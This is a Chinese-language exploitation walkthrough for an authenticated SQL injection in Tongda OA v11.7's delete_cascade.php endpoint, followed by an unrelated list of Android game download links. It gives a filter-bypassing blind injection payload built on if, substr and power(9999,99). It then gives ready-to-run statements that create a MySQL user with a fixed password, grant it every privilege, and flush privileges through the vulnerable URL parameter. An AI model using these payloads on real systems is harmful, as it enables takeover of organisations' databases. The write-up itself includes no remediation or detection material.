2020-09-21
测试版本:通达OA v11.7版本
限制条件:需要账号登录
注入出现在general/hr/manage/query/delete_cascade.php文件中,代码实现如下:
首先判断$condition_cascade是否为空,如果不为空,则将其中的\'替换为'。为什么要这样替换呢,主要是因为V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes函数进行保护,如下:
inc/common.inc.php代码
因为是无回显机制,是盲注,所以尝试(select 1 from (select sleep(5))a),结果没那么简单:
触发了通达OA的过滤机制,翻看代码,在inc/conn.php文件中找到过滤机制如下:
其过滤了一些字符,但是并非无法绕过,盲注的核心是:substr、if等函数,均未被过滤,所以还是有机会的。
传入错误的SQL语句时,页面出错:
那么只要构造MySQL报错即可配合if函数进行盲注了,翻看局外人师傅在补天白帽大会上的分享,发现power(9999,99)也可以使数据库报错,所以构造语句:
select if((substr(user(),1,1)='r'),1,power(9999,99)) # 当字符相等时,不报错,错误时报错
添加用户
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION
然后该用户是对mysql数据库拥有所有权限的,然后给自己加权限:
UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));
然后用注入点刷新权限,因为该用户是没有刷新权限的权限的:general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;这样就拥有了所有权限。再次登录:
提示这个,或者让改密码死活改不了。再执行一下
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@1
23' WITH GRANT OPTION
即可。
阿甘快跑手机版下载v3.1.2 安卓版
休闲益智 72.3M
下载火线狙击精英游戏下载v1.2 安卓版
射击枪战 99.5M
下载空战风云手机版下载v3.1.9 安卓版
射击枪战 124.7M
下载空战风云最新版下载v3.1.9 安卓版
射击枪战 124.7M
下载厨房做饭官方版下载v1.1.80 安卓版
经营养成 122.2M
下载千纹时空手游下载v2.0.6.407.404.1030安卓最新版
休闲益智 238.1M
下载魔镜模拟器游戏下载v1.0.1.7 安卓版
休闲益智 47.7M
下载千纹时空最新版下载v2.0.6.407.404.1030 安卓版
射击枪战 238.1M
下载千纹时空狙击3d正版下载v2.0.6.407.404.1030 安卓版
下载
千纹时空狙击手射击模拟器官方版下载v2.0.6.407.404.1030 安卓版
下载
雷霆飞机世界手机版下载v1.0.2 安卓最新版
下载
雷霆飞机世界官方正版下载v1.0.2 安卓最新版
下载
全民飞机空战游戏下载v1.0.7.1 安卓最新版
下载
全民飞机空战手机版下载v1.0.7.1 安卓版
下载
天使之路官方版下载v1.7.4 安卓版
下载
龙之塔防游戏下载v1.1.0 安卓最新版
下载